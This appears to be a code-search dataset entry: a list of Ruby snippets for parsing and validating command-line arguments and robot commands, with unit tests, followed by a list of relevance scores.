"def commands_valid?\n # Loops through entire commands.txt, if there is a bad input, returns false with the index of the bad input and the entire input of that command.\n # Regex passes with only commands with F,B,L,R and positive whole numbers\n @commands.each_with_index do |command, index|\n unless command.match(/[FBLR]\\d+$/)\n return [false, index, command]\n end\n end\n return [true]\n end",
"def parse_subcommand!(argv)\n argv.shift || false\n end",
"def parse_subcommand!(argv)\n argv.shift || false\n end",
"def arguments_valid?\n true if @commands.length > 0\n end",
"def options_parsed?\n opts = OptionParser.new() do |o|\n o.on('-v','--version') { output_version($stdout); exit(0) }\n o.on('-h','--help') { output_help($stdout); exit(0) }\n o.on('-V', '--verbose') { @options.verbose = true }\n o.on('-D', '--debug') { @options.debug = true }\n o.on('-l', '--local') { @options.run_local = true }\n\n o.on(\"-d\",\"--delay\", \"=REQUIRED\") do |amount|\n @options.delay = amount.to_i\n end\n\n o.on(\"-c\",\"--config\", \"=REQUIRED\") do |conf_file|\n @options.config_file = conf_file\n end\n\n o.on(\"-o\",\"--output\", \"=REQUIRED\") do |output_destination|\n @options.output_base = output_destination\n end\n\n o.on(\"-s\",\"--scheduler\", \"=REQUIRED\") do |qopts|\n @options.scheduler_opts = qopts\n end\n\n o.on(\"-t\",\"--tmp\", \"=REQUIRED\") do |topts|\n @options.tmp_dir_base = topts\n end\n end\n\n opts.parse!(@args) rescue return false\n @options.samples = @args\n return true\nend",
"def parsed_options?\n opts = OptionParser.new\n opts.on('-v', '--version') { output_version; exit 0 }\n opts.on('-h', '--help') { output_usage }\n \n opts.on('-r', '--run s', String) { |test| @options.test = test }\n opts.on('-m', '--min-sleep i', Integer) { |min| @options.min = min }\n opts.on('-M', '--max-sleep i', Integer) { |max| @options.max = max }\n opts.on('-H', '--host s', String) { |host| @options.host = host } \n opts.on('-d', '--db s', String) { |db| @options.db = db }\n opts.on('-p', '--port i', Integer) { |port| @options.port = port }\n opts.on('-u', '--user s', String) { |user| @options.user = user }\n opts.on('-w', '--password s', String) { |password| @options.password = password }\n opts.on('-t', '--time i', Integer) { |time| @options.time = time }\n opts.on('-T', '--threads i', Integer) { |threads| @options.threads = threads }\n opts.on('-D', '--documents i', Integer) { |documents| @options.documents = documents }\n opts.on('-i', '--iterations i', Integer){ |iterations| @options.iterations = iterations }\n \n opts.on('-P', '--prepare') { @options.step = :prepare }\n opts.on('-C', '--cleanup') { @options.step = :cleanup }\n opts.on('-R', '--runonly') { @options.step = :run }\n opts.on('-A', '--all') { @options.step = :all }\n \n opts.parse!(@arguments) rescue return false\n true\n end",
"def parse_options\n case ARGV[1]\n when \"-p\", \"-plugin\"\n return true\n when \"-u\", \"-unplug\"\n return true\n else\n return false\n end\nend",
"def validrptDotsCommand?\n\tif @commands.size < 3\n\t\treturn false \n\telsif @commands[1].size <=0\n\t\treturn false\n\telsif @commands[2].size <=0\n\t\treturn false\n\tend \n\t\treturn true \nend",
"def valid_command_structure?\n if (valid_xy?(@command_structure[0]) && valid_text? && valid_commands?)\n return true\n else\n return false\n end\n end",
"def parse\n @commands.each do |_, cmd|\n if cmd.flags?\n # or for the || seems to not do what I want it to do...\n next unless argv_index = ARGV.index(cmd.flags.short) || ARGV.index(cmd.flags.long)\n else\n next unless argv_index = ARGV.index(cmd.index.to_s)\n end\n cmd.given = true unless argv_index.nil?\n if cmd.type.nil?\n yield cmd if block_given?\n else\n if parsed = parse_cmd(cmd, flags)\n cmd.arguments = parsed || cmd.default\n yield cmd if block_given?\n elsif cmd.default\n cmd.arguments = cmd.default\n yield cmd if block_given?\n end\n end\n end\n end",
"def parse\n # parse flag arguments\n @oparse.parse!(@argv) rescue(bail_args($!))\n @parsed=true\n\n # the overriding class may implement additional arguments from here\n end",
"def parse\n case @state\n when :root\n return false unless parse_root_state\n when :command\n parse_command_state\n else\n raise_parser_error 'Unknown parser state'\n end\n\n true\n end",
"def test_parse02b\n options = ArgumentManager.parse( [ '-i' ] )\n assert_equal( 0, options[ 'i' ] )\n end",
"def parse_opts\n if parse_argv\n apply_options\n true\n end\n end",
"def valid_argv?\n ARGV[0] && ARGV.all? { |arg| /.+:.+/ =~ arg }\nend",
"def test_parse02c\n options = ArgumentManager.parse( [ '-i', '1' ] )\n assert_equal( 1, options[ 'i' ] )\n end",
"def command_parse(argv)\n end",
"def is_valid?(command)\n command.scan(COMMAND_MATCHER).any?\n end",
"def test_parse05c\n options = ArgumentManager.parse( [ '-k', '3', '-l', '7' ] )\n assert_equal( 7, options[ 'l' ] )\n end",
"def parsed_arguments?\n return true if @arguments.empty?\n case @arguments.length\n when 1\n case @arguments[0]\n when 'setup'\n @options[:restore] = false\n when 'restore'\n @options[:restore] = true\n else\n return false\n end\n else\n return false\n end\n return true\n end",
"def validate_and_parse_options\n # Checking ARGV validity *before* parse_options because parse_options\n # mangles ARGV in some situations\n if no_command_given?\n print_help_and_exit(1, NO_COMMAND_GIVEN)\n elsif no_subcommand_given?\n if (want_help? || want_version?)\n print_help_and_exit\n else\n print_help_and_exit(2, NO_COMMAND_GIVEN)\n end\n end\n end",
"def test_parse04b\n options = ArgumentManager.parse( [ '-k' ] )\n assert_equal( 0, options[ 'k' ] )\n end",
"def test_parse04c\n options = ArgumentManager.parse( [ '-k', '3' ] )\n assert_equal( 3, options[ 'k' ] )\n end",
"def test_parse04c\n options = ArgumentManager.parse( [ '--u-opt', 'foo' ] )\n assert_equal( 'foo', options[ 'u-opt' ] )\n end",
"def argument_syntax?\n @instruction.variables.each_with_index do |var,i|\n if var.valid_syntax? @cmd[:arguments][i]\n @cmd[:arguments][i] = @cmd[:arguments][i].arg_to_i\n else\n Error::message(6, @line, var.error(@cmd[:arguments][i]) ) \n end\n end\n end",
"def success?\n unparser.success? && missing.empty? && unexpected.empty?\n end",
"def valid_command?(cmd)\n cmd.scan(/^(PLACE|MOVE|LEFT|RIGHT|REPORT|EXIT)(.*)/i).any?\n end",
"def validrptTbCommand?\n\tif @commands.size < 3\n\t\treturn false \n\telsif @commands[1].size <=0\n\t\treturn false\n\telsif @commands[2].size <=0\n\t\treturn false\n\tend \n\t\treturn true \nend",
"def parse_command(line)\n line = line.strip\n if %w(MOVE LEFT RIGHT REPORT).include? line\n return line.downcase\n end\n\n if (line =~ /PLACE/) == 0\n args = line[5..-1].strip.split(',')\n return 'place', *args\n end\nend",
"def test_parse04b\n options = ArgumentManager.parse( [ '--u-opt' ] )\n assert_equal( 'foo', options[ 'u-opt' ] )\n end",
"def parsed\n [raw_command] + args\n end",
"def arguments_valid?\n \n # true if @arguments.length == 1 && (File.directory?(@options.output) || File.exists?(File.dirname(@options.output))) && File.directory?(@options.input)\n case @options.mode\n when \"queue\"\n true if File.directory?(@options.output)\n when \"crawl\"\n true if File.directory?(@options.output) && File.directory?(@options.input?)\n else\n true if @arguments.length == 1\n end\n end",
"def test_parse03c\n options = ArgumentManager.parse( [ '-j', '9' ] )\n assert_equal( 9, options[ 'j' ])\n end",
"def validrptHivCommand?\n\tif @commands.size < 2\n\t\treturn false \n\telsif @commands[1].size <=0\n\t\treturn false\n\telsif @commands[2].size <=0\n\t\treturn false\n\telsif @commands[3].size <=0\n\t\treturn false\n\tend \n\t\treturn true \nend",
"def test_parse02a\n options = ArgumentManager.parse( [] )\n assert_equal( nil, options[ 'i' ] )\n end",
"def validate_argv\n if ARGV.empty? then\n ARGV << \"start\"\n else\n if not %w{start stop restart zap status}.include? ARGV.first then\n $stderr.puts \"ERROR: invalid command '#{ARGV.first}'\"\n $stderr.puts\n $stderr.puts @opt_parser.help()\n exit 1\n end\n end\n end",
"def right_type?\n ARGV[0].is_a?(String) && ARGV[1].is_number? && ARGV[2].is_number?\n end",
"def check_first_command(command)\n arr_1 = command.split(' ') #only one space\n return false if arr_1.length != 2\n return false if arr_1[0] != 'PLACE'\n command_arr = command.split(' ').join(',').split(',')\n directions = [\"NORTH\", \"EAST\", \"SOUTH\", \"WEST\"]\n coords = ['0', '1','2','3','4'] # using strings because to_i converts non numerics to 0\n return false if command_arr.length != 4\n return false if !directions.include?(command_arr[3])\n return false if !coords.include?(command_arr[1])\n return false if !coords.include?(command_arr[2])\n return true\nend",
"def test_parse03b\n assert_raise( RuntimeError ) {\n options = ArgumentManager.parse( [ '-j' ] )\n }\n end",
"def test_parse05c\n options = ArgumentManager.parse( [ '--u-opt=foo', '--v-opt=bar' ] )\n assert_equal( 'bar', options[ 'v-opt' ] )\n end",
"def arguments_valid?\n true if @arguments.length == argv_length \n end",
"def arguments_valid?\n if @arguments.length == 1\n @options.port = @arguments[0].to_i\n return true\n end\n @arguments.length == 0\n end",
"def commandline\n ui == \"commandline\"\n end",
"def validNewPatientCommand?\n\tif @commands.size < 4\n\t\treturn false \n\telsif @commands[1].size <=0\n\t\treturn false\n\telsif @commands[2].size <=0\n\t\treturn false \n\telsif @commands[3].size <=0\n\t\treturn false\n\tend \n\t\treturn true \n\tend",
"def parse argv\n @bare.clear\n eoo = argv.index '--' # end of options\n if eoo\n tail = argv[eoo+1 .. ]\n argv = argv[ .. eoo-1]\n end\n re = /^-{1,2}(?=[^-])/\n for first,second in argv.chunk_while{ _1 =~ re and _2 !~ re }\n case first\n when /^--(?i:no)-(?=[^-])/\n # --no-long\n p = plong $~.post_match\n raise \"#{p.long} is not boolean\" unless p.boolean\n @buffer[p] = false\n @bare.push second if second\n when /^--(?=[^-])/\n # --long\n p = plong $~.post_match\n if p.boolean\n @buffer[p] = true\n @bare.push second if second\n else\n @buffer[p] = second\n end\n when /^-(?=[^-])(?!.*[0-9])/\n # -short\n letters = $~.post_match.chars\n b,o = letters.map{ pshort _1 }.partition &:boolean\n b.each{ @buffer[_1] = true }\n o.each{ @buffer[_1] = nil }\n if second\n if o.empty?\n @bare.push second\n else\n @buffer[o.pop] = second\n end\n end\n else\n # bare\n @bare.push first\n end\n end\n @bare.concat tail if tail\n end",
"def test_parse01b\n assert_raise( RuntimeError ) {\n ArgumentManager.parse( [ '-i', '999' ] )\n }\n end",
"def test_parse02b\n options = ArgumentManager.parse( [ '--s-opt' ] )\n assert_equal( 'foo', options[ 's-opt' ] )\n end",
"def test_parse03a \n ArgumentManager.add_option( [ 'j' ], :type => :integer )\n \n options = ArgumentManager.parse( [] )\n assert_equal( nil, options[ 'j' ] )\n end",
"def test_parse02a\n options = ArgumentManager.parse( [] )\n assert_equal( nil, options[ 's-opt' ] )\n end",
"def test_parse05a\n ArgumentManager.add_option( [ 'l' ], :type => :integer, :mandatory => true )\n \n assert_raise( RuntimeError ) {\n options = ArgumentManager.parse( [ '-k', '3' ] )\n }\n end",
"def test_parse02c\n options = ArgumentManager.parse( [ '--s-opt=foo' ] )\n assert_equal( 'foo', options[ 's-opt' ] )\n end",
"def preprocess_arguments_for_commands(args)\n # All arguments should be passed through to the atlantis command.\n if args.first == \"atlantis\"\n return args.slice!(1..-1)\n end\n if args.first == \"ssh\"\n arg_index = 1\n arg_index += 1 if Component.names.include?(args[1]) # Skip <component>, if it exists\n while arg_index < args.length\n break if args[arg_index][0] != \"-\"\n arg_index += 1 if args[arg_index] == \"-i\"\n arg_index += 1\n end\n return [] unless arg_index < args.length\n puts \"slicing #{arg_index.inspect}\"\n return args.slice!(arg_index..-1)\n end\n []\nend",
"def parse_command\n log_and_exit read_template('help') if @input.empty?\n @command = @input.shift\n \n while @input.any?\n opt = @input.shift\n \n if opt =~ /^--(\\w+)(=(\"[^\"]+\"|[\\w]+))*/\n name = $1\n value = $3 ? $3.gsub(/\"/, \"\") : true\n @named_options[name] = value\n else\n @options << opt\n end\n end\n end",
"def argv; argline.split(/ +/) unless argline.nil?; end",
"def test_parse01b\n assert_raise( RuntimeError ) {\n ArgumentManager.parse( [ '--s-opt=baz' ] )\n }\n end",
"def can_parse?(options = {})\n false\n end",
"def pry_command?(val)\n !!command_matched(val).first\n end",
"def test_parse03a\n ArgumentManager.add_option( [ 't-opt' ], :type => :string )\n \n options = ArgumentManager.parse( [] )\n assert_equal( nil, options[ 't-opt' ] )\n end",
"def test_parse05b\n assert_raise( RuntimeError ) {\n options = ArgumentManager.parse( [ '-k', '3', '-l' ] )\n }\n end",
"def parse_cmd(cmd, flags)\n if cmd.flags?\n args = Raw.arguments_to(cmd.flags.short, flags)\n if args.nil? || args.empty?\n args = Raw.arguments_to(cmd.flags.long, flags)\n end\n else\n args = Raw.arguments_to(cmd.index.to_s, flags)\n end\n unless cmd.type.to_s =~ /stdin/\n return nil if args.nil?\n end\n case cmd.type\n when :stdin\n args = STDIN.gets.strip\n when :stdin_stream\n args = STDIN\n when :stdin_string\n args = STDIN.gets.strip\n when :stdin_strings\n args = []\n while arg = STDIN.gets\n next if arg.nil?\n arg = arg.strip\n args << arg\n end\n args\n when :stdin_integer\n args = STDIN.gets.strip.to_i\n when :stdin_integers\n args = []\n while arg = STDIN.gets\n next if arg.nil?\n arg = arg.strip\n parse = arg.to_i\n if parse.to_s == arg\n args << parse\n end\n end\n args\n when :stdin_bool\n args = STDIN.gets.strip.downcase == \"true\"\n when :single, :string\n args = args.first\n when :strings, :multi\n if cmd.delimiter?\n if args.count > 1\n args = args.first.split(cmd.delimiter)\n else\n args = args.map { |arg| arg.split(cmd.delimiter) }.flatten\n end\n end\n args\n when :integer\n args = args.first.to_i\n when :integers\n if cmd.delimiter?\n if args.count > 1\n args = args.join\n args = args.select { |arg| arg if arg.include?(cmd.delimiter) }\n args = args.map { |arg| arg.split(cmd.delimiter) }.flatten\n else\n args = args.map { |arg| arg.split(cmd.delimiter) }.flatten\n end\n end\n args = args.map(&:to_i)\n when :bool, :bools\n if cmd.delimiter?\n if args.count > 1\n args = args.join\n args = args.select { |arg| arg if arg.include?(cmd.delimiter) }\n args = args.map { |arg| arg.split(cmd.delimiter) }.flatten\n else\n args = args.map { |arg| arg.split(cmd.delimiter) }.flatten\n end\n end\n args = args.map { |arg| arg == \"true\" }\n end\n rescue => e# this is dangerous\n puts e\n nil\n end",
"def test_parse03b\n assert_raise( RuntimeError ) {\n options = ArgumentManager.parse( [ '--t-opt' ] )\n }\n end",
"def test_parse03c\n options = ArgumentManager.parse( [ '--t-opt=foo' ] )\n assert_equal( 'foo', options[ 't-opt' ] )\n end",
"def arguments_passed?\n !!(ARGV[0] && ARGV[1] && ARGV[2])\n end",
"def matches_command_type?(command_type)\n raise \"No command type was specified.\" if command_type.nil?\n return !(@line =~ /\\A#{command_type} /).nil?\n end",
"def valid_command?(command)\n\t\tVALID_COMMANDS.include?(command)\n\tend",
"def parse_command_line(gimmicode_arguments)\n begin\n OptionParser.new do |opts|\n opts.banner = $usage\n \n opts.separator \"\"\n opts.separator \"Specific options:\"\n\n opts.on('-h', '--help [COMMAND]', 'Show this message or the help of the given command') do |h|\n if h == \"of\" or h == \"convert\"\n exec(\"#{$current_directory}/gimmicode-#{h} -h\")\n else\n puts opts\n puts \"\"\n puts \"Commands:\"\n puts \" of\\t\\tGet the codes of the given characters\"\n puts \" convert\\tConvert Unicode data readable by gimmicode of\"\n exit\n end\n end\n end.parse!(gimmicode_arguments)\n rescue OptionParser::ParseError => e\n puts e.message.capitalize\n puts $usage\n exit\n end\nend",
"def handle\n return CLI.show(parser.help) if argv.empty? || %w[-h --help].any? { |h| argv.include?(h) }\n\n parser.parse!(argv)\n option[:arch] ||= Util.system_arch\n true\n end",
"def arguments_valid?\n true if ['install','list','uninstall'].include?(@arguments[0])\n end",
"def nmap_validate_arg(str)\n # Check for existence\n if str.nil? || str.empty?\n print_error \"Missing nmap argument\"\n return false\n end\n # Check for quote balance\n if !(str.scan(/'/).size % 2).zero? or !(str.scan(/\"/).size % 2).zero?\n print_error \"Unbalanced quotes in nmap argument: #{str}\"\n return false\n end\n # Check for characters that enable badness\n disallowed_characters = /([\\x00-\\x19\\x21\\x23-\\x26\\x28\\x29\\x3b\\x3e\\x60\\x7b\\x7c\\x7d\\x7e-\\xff])/n\n badchar = str[disallowed_characters]\n if badchar\n print_error \"Malformed nmap arguments (contains '#{badchar}'): #{str}\"\n return false\n end\n # Check for commas outside of quoted arguments\n quoted_22 = /\\x22[^\\x22]*\\x22/n\n requoted_str = str.tr('\\'','\"')\n if requoted_str.split(quoted_22).join[/,/]\n print_error \"Malformed nmap arguments (unquoted comma): #{str}\"\n return false\n end\n return true\nend",
"def parse_command_line args\n args.options do |opt|\n opt.on(\"rutema v#{Version::STRING}\")\n opt.on(\"Options:\")\n opt.on(\"--config FILE\", \"-c FILE\",String,\"Loads the configuration from FILE\") { |config_file| @config_file=config_file}\n opt.on(\"--check\",\"Runs just the suite setup test\"){@check=true}\n #opt.on(\"--step\",\"Runs test cases step by step\"){@step=true}\n opt.on(\"--silent\",\"Suppresses console output (only for the default reporters)\") { @silent=true}\n opt.on(\"--bare\",\"No default reporters whatsoever\") { @bare=true}\n #opt.on(\"--color\",\"Adds color to the Console reporter\") { @color=true}\n opt.on(\"-v\", \"--version\",\"Displays the version\") { $stdout.puts(\"rutema v#{Version::STRING}\");exit 0 }\n opt.on(\"--help\", \"-h\", \"-?\", \"This text\") { $stdout.puts opt; exit 0 }\n opt.on(\"--debug\", \"-d\", \"Turn on debug messages\") { $DEBUG=true }\n opt.on(\"You can provide a specification filename in order to run a single test\")\n opt.parse!\n #and now the rest\n unless @config_file\n puts \"No configuration file defined!\\n\"\n $stdout.puts opt \n exit 1\n end\n if !args.empty?\n @test_identifier=args.shift\n end\n end\n end",
"def valid_command?(val)\n system_command?(val) || pry_command?(val)\n end",
"def arguments_valid?\n begin\n @validoptions = BoilermakerOptions.new(options)\n @validoptions.validate\n # pp @validoptions.args\n return @validoptions.args\n rescue => error\n # pp x.args\n puts error.message + \"\\n\"\n exit\n end\n end",
"def parse_command_line\n prepend_environment_options\n options = options_with_defaults\n\n OptionParser.new do |parser|\n\n parser.on(\"-h\", \"--help\", \"Show help\") do |_help_requested|\n ARGV << 'h' # pass on the request to the command processor\n options.suppress_command_line_validation = true\n end\n\n parser.on('-i', '--input_dir DIR',\n \"Input directory containing source data files, default: '#{DEFAULT_INPUT_DIR}'\") do |v|\n options.input_dir = File.expand_path(v)\n end\n\n parser.on('-o', '--output_dir DIR',\n \"Output directory to which report files will be written, default: '#{DEFAULT_OUTPUT_DIR}'\") do |v|\n options.output_dir = File.expand_path(v)\n end\n\n parser.on('-r', '--receipt_dir DIR',\n \"Directory root from which to find receipt filespecs, default: '#{DEFAULT_RECEIPT_DIR}'\") do |v|\n options.receipt_dir = File.expand_path(v)\n end\n\n parser.on('-s', '--shell', 'Start interactive shell') do |v|\n options.interactive_mode = true\n end\n\n parser.on('-v', '--[no-]verbose', 'Verbose mode') do |v|\n options.verbose_mode = v\n end\n\n parser.on('-y', '--[no-]say', 'Say error messages.') do |v|\n options.say = v\n end\n\n parser.on('', '--[no-]receipts', 'Include report on existing and missing receipts.') do |v|\n options.do_receipts = v\n end\n end.parse!\n\n if options.verbose_mode\n puts \"Run Options:\"\n ap options.to_h\n end\n\n options\n end",
"def main(command_line_options=ARGV)\n parser = Slop::Parser.new cli_flags\n arguments = parse_arguments(command_line_options, parser)\n\n if arguments.key?(:ce) || arguments.key?(:ci) || arguments.key?(:h)\n if arguments.key?(:ci)\n\n end\n if arguments.key?(:ce)\n\n end\n if arguments.key?(:h)\n puts cli_flags\n end\n exit\n end\n\n elsif set?(arguments, :port)\n puts portquiz arguments[:port]\n elsif set?(arguments, :down)\n puts is_it_up arguments[:down]\n end",
"def argc! count, syntax = nil\n @params = @params_str.split(/\\s/, count)\n\n return true if @params.length >= count\n\n if syntax\n raise \"At least #{count} parameters required: #{syntax}\"\n else\n raise \"At least #{count} parameters required.\"\n end\n end",
"def arguments_valid?\n\t\tcase @arguments.length\n\t\twhen 0\n\t\t\traise(\"File does not exist or is not readable\") unless File.exist?(@dict_path) and File.readable?(@dict_path)\n\t\t\treturn true\n\t\twhen 1\n\t\t\treturn process_arguments\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend",
"def parse(result, out) # rubocop:disable Metrics/MethodLength\n command = result.command\n return [command, result.arguments] unless command?(command)\n\n result = Parser.call(command, result.arguments, result.names)\n\n if result.help?\n Banner.call(command, out)\n exit(0)\n end\n\n if result.error?\n out.puts(result.error)\n exit(1)\n end\n\n [command, result.arguments]\n end",
"def valid_position?\n unless position.present?\n errors[:cmd] ||= []\n errors[:cmd] << 'Robot current position is unknown for some reason'\n end\n errors.blank?\n end",
"def cli_parse\n @command = nil\n\n cli @argv,\n \"-R --rules\" => lambda{ @command = :list },\n \"-H --help\" => lambda{ @command = :help },\n \"-a --auto\" => method(:watch=),\n \"-f --fresh\" => method(:fresh!),\n \"-s --script\" => method(:script=),\n \"-D --debug\" => method(:debug!)\n end",
"def arguments_valid?\n num = 0\n num += 1 if @options.stats\n num += 1 if @options.attach\n num += 1 if @options.detach\n return false if num > 1\n return true\n end",
"def execute\n if options[:version]\n self.console.puts \"traject version #{Traject::VERSION}\"\n return true\n end\n if options[:help]\n self.console.puts slop.to_s\n return true\n end\n\n\n (options[:load_path] || []).each do |path|\n $LOAD_PATH << path unless $LOAD_PATH.include? path\n end\n\n arg_check!\n\n self.indexer = initialize_indexer!\n\n ######\n # SAFE TO LOG to indexer.logger starting here, after indexer is set up from conf files\n # with logging config.\n #####\n\n indexer.logger.info(\"traject (#{Traject::VERSION}) executing with: `#{orig_argv.join(' ')}`\")\n\n # Okay, actual command process! All command_ methods should return true\n # on success, or false on failure.\n result =\n case options[:command]\n when \"process\"\n (io, filename) = get_input_io(self.remaining_argv)\n indexer.settings['command_line.filename'] = filename if filename\n indexer.process(io)\n when \"marcout\"\n (io, filename) = get_input_io(self.remaining_argv)\n indexer.settings['command_line.filename'] = filename if filename\n command_marcout!(io)\n when \"commit\"\n command_commit!\n else\n raise ArgumentError.new(\"Unrecognized traject command: #{options[:command]}\")\n end\n\n return result\n rescue Exception => e\n # Try to log unexpected exceptions if possible\n indexer && indexer.logger && indexer.logger.fatal(\"Traject::CommandLine: Unexpected exception, terminating execution: #{Traject::Util.exception_to_log_message(e)}\") rescue nil\n raise e\n end",
"def test_parse05b\n assert_raise( RuntimeError ) {\n options = ArgumentManager.parse( [ '--u-opt=foo', '--v-opt' ] )\n }\n end",
"def test_parse05a\n ArgumentManager.add_option( [ 'v-opt' ], :type => :string, :mandatory => true )\n \n assert_raise( RuntimeError ) {\n options = ArgumentManager.parse( [ '--u-opt=foo' ] )\n }\n end",
"def mapper_needs_run_arg?\n return false if settings[:map_command]\n return false if mapper_arg.to_s == mapper_name.to_s\n return false if File.basename(mapper_arg.to_s, '.rb') == mapper_name.to_s\n true\n end",
"def multicommand_parser(message, argline)\n firstline = nil\n argline.split(/ +\\x00\\x00\\x00 +/).each do |newline|\n if firstline.nil?\n firstline = newline\n else\n add_nextcommand(message, newline)\n end\n end\n firstline\n end",
"def parsed_options?\n @optparse = OptionParser.new do |opts|\n \n # A usage banner\n opts.banner = \"Usage: #{File.basename($0)} [options]\"\n \n # Returns the current version of the tool\n opts.on_tail('-v', '--version', \"Display version\") { output_version ; exit 0 }\n \n # Quick distribution\n options[:quickpkg] = nil\n opts.on( '-Q', '--quickpkg <app>', 'Create a quick application distribution (simple)' ) do |app|\n options[:quickpkg] = app\n end\n \n # Create a new project\n options[:createproj] = nil\n opts.on_head( '-C', '--createproj <dir>', String, 'Create a project directory (advanced)' ) do |proj|\n options[:createproj] = proj\n end\n \n # Specify an existing project\n options[:projectdir] = nil\n opts.on_head( '-D', '--projectdir <dir>', String, 'Specify a project directory to work with' ) do |dir|\n options[:projectdir] = dir\n end\n \n # Update the Radmind command file\n options[:ktcheck] = nil\n opts.on( '-K', '--ktcheck', 'Update the Radmind client command file' ) do |check|\n options[:ktcheck] = check\n # puts \"Updating the client's command file: #{options[:ktcheck]}\"\n end\n\n # Convert a Radmind transcript\n options[:convert] = nil\n opts.on( '-t', '--tconvert <transcript>', 'Convert a createable transcript to an appliable transcript' ) do |transcript|\n options[:tconvert] = transcript\n end\n\n # Fetch a converted Radmind loadset\n options[:fetch] = nil\n opts.on( '-f', '--fetch <transcript>', 'Fetch a converted Radmind transcript' ) do |transcript|\n options[:fetch] = transcript\n end\n \n # Specify a radmind host\n options[:radhost] = nil\n opts.on( '-h', '--radhost <host>', 'Specify the Radmind server host' ) do |host|\n options[:radhost] = host\n end\n\n # Generate the boilerplate\n options[:boil] = nil\n opts.on( '-b', '--boil', 'Generate boilerplate ' ) do |boil|\n options[:boil] = boil\n end\n \n # Package up the project's pkgroot\n options[:package] = nil\n opts.on('-p', '--package', 'Package your project ') do |package|\n options[:package] = package\n end\n\n # Archive the package inside a disk image\n options[:rollup] = nil\n opts.on('-r', '--rollup', 'Create a disk image of your package ') do |rollup|\n options[:rollup] = rollup\n end\n \n # Use Radmind security?\n options[:security] = nil\n opts.on( '-w', '--secure <level>', 'Use security level 0, 1 or 2 for Radmind operations' ) do |level|\n options[:secure] = level\n end\n\n # Use Radmind checksums\n options[:cksum] = nil\n opts.on( '-c', '--cksum <hash>', 'Update the Radmind client command file' ) do |hash|\n options[:cksum] = hash\n end\n \n # Prints a detailed help message\n opts.on_tail('--help', 'Show detailed help and information') do\n output_version\n output_help\n end\n \n end\n \n # Parse the options\n # * A non-successful parse operation presents a list of the acceptable options\n begin\n @optparse.parse!\n rescue => error\n puts error.message + \"\\n\"\n puts @optparse\n exit 1\n end\n\n # Pre-process the options before we validate them\n process_options\n true\n \n end",
"def valid?\n errors, options = {}, {}\n @results = {:errors => errors, :options => options}\n \n remaining_args = args.dup\n valid_options.each do |long_name, details|\n short_name, default = *details\n key = long_name.gsub(/^--/, '').gsub('-', '_').to_sym\n index = remaining_args.index(long_name) ||\n remaining_args.index(short_name)\n if index\n remaining_args.delete_at index\n if self.class.option?(remaining_args[index])\n options[key] = true\n else\n options[key] = remaining_args.delete_at(index)\n end\n else\n options[key] = default\n end\n end\n remaining_args.each do |arg|\n arg_type = self.class.option?(arg) ? 'option' : 'argument'\n errors[arg] = \"is not a valid #{arg_type}\"\n end\n \n errors.empty?\n end",
"def check_command_line\n if (!ARGV[0].nil? && ARGV[0].downcase == \"test\")\n @test = true\n elsif(ARGV.length < 2)\n puts \"USAGE: ruby main.rb <users_csv_file> <businesses_csv_file>\"\n puts \"OR\"\n puts \"USAGE: ruby main.rb test\"\n exit 1\n end\nend",
"def command_complete?(c)\n start_index, end_index = c.index(COMMAND_EPILOG_START), c.index(COMMAND_EPILOG_END)\n start_index && end_index && start_index < end_index\n end",
"def parse_opts\n option_parser.parse(@argv)\n end",
"def parse_args\n case ARGV[0]\n when '-a'\n # check that no arg was passed with the -a flag.\n if ARGV[1]\n puts \"Error, '-a' flag cannot accept additional arguments.\"\n puts \"Run `validate-pp -h` for more info.\"\n exit!\n end\n parse_directory(File.expand_path(Dir.pwd))\n when '-d'\n ARGV.shift\n ARGV.each do |d|\n unless File.directory?(d)\n puts \"Error, #{d} is not a directory.\"\n puts \"Run `validate-pp -h` for more info.\"\n exit!\n end\n end\n dirs = ARGV.map { |d| File.expand_path(d) }\n dirs.each { |d| parse_directory(d) }\n when \"-f\"\n ARGV.shift\n ARGV.each do |f|\n unless File.extname(f) == '.pp'\n puts \"Error, #{f} is not a '.pp' file\"\n puts \"Run `validate-pp -h` for more info.\"\n exit!\n end \n end\n ARGV.each { |f| PuppetFile.new(File.expand_path(f)) }\n when '-g'\n if ARGV[1]\n puts \"Error, '-g' flag cannot accept additional arguments.\"\n puts \"Run `validate-pp -h` for more info.\"\n exit!\n end\n parse_git_repo\n end\nend",
"def test_arg_check_prospectors_valid\n ret = arg_check_prospectors '1'\n assert_equal ret, 0\n end",
"def parse!\n begin\n @opts = OptionParser.new(&method(:set_opts))\n @opts.parse!(@args)\n @options\n rescue Exception => e\n raise e if e.is_a?(SystemExit)\n\n $stderr.puts e.message\n exit 1\n end\n exit 0\n end",
"def parse\n opts = OptionParser.new(&method(:set_options))\n opts.parse!(@args)\n return login if @login\n puts opts.help\n end",
"def validate_arguments()\n usage unless ARGV.count > 0\nend",
"def built_in?(command)\n command.strip.start_with?('v ')\n end",
"def parse_cmd commands\n\t\t@commands = commands.split(//)\n\tend",
"def run_and_success?(cmd)\n run(cmd).success?\n end",
"def allowed_on_commandline?\n @deprecated == :allowed_on_commandline\n end",
"def test_options_parser\n input_short = '-oC:\\test -v -c pass'.split(\" \")\n input_long = '--output-path=C:\\test --verbose --copy-only pass'.split(\" \")\n\n [input_short, input_long].each do |input|\n options = parse_args(input)\n\n assert_equal('C:\\test', options[:output_folder])\n assert_true(options[:verbose])\n assert_true(options[:copy_only])\n assert_equal(['pass'], input)\n end\n end"
] |
[
"0.6680207",
"0.6667816",
"0.64562315",
"0.64255387",
"0.63459975",
"0.63353866",
"0.6332296",
"0.6284103",
"0.6246003",
"0.6208048",
"0.61975455",
"0.6157406",
"0.6129163",
"0.61200696",
"0.61163414",
"0.61068463",
"0.61012",
"0.608963",
"0.60886264",
"0.6086439",
"0.60760784",
"0.6073667",
"0.6059087",
"0.60195917",
"0.6009631",
"0.60002273",
"0.599689",
"0.5991067",
"0.597443",
"0.5963363",
"0.5961174",
"0.59563875",
"0.5945576",
"0.5940069",
"0.59094906",
"0.5896812",
"0.58851",
"0.58631456",
"0.58421016",
"0.58183414",
"0.5805915",
"0.5804962",
"0.5768805",
"0.5763888",
"0.57621926",
"0.5758613",
"0.5757357",
"0.5741647",
"0.5732209",
"0.5728074",
"0.5727339",
"0.5717135",
"0.57045645",
"0.5704166",
"0.5701016",
"0.5688961",
"0.56813145",
"0.56731224",
"0.56658024",
"0.5664474",
"0.5653544",
"0.5636419",
"0.56348926",
"0.563443",
"0.5609331",
"0.5604849",
"0.5602916",
"0.55845636",
"0.5576289",
"0.55730474",
"0.55636823",
"0.5556882",
"0.5553683",
"0.5553471",
"0.55264485",
"0.55249137",
"0.55240273",
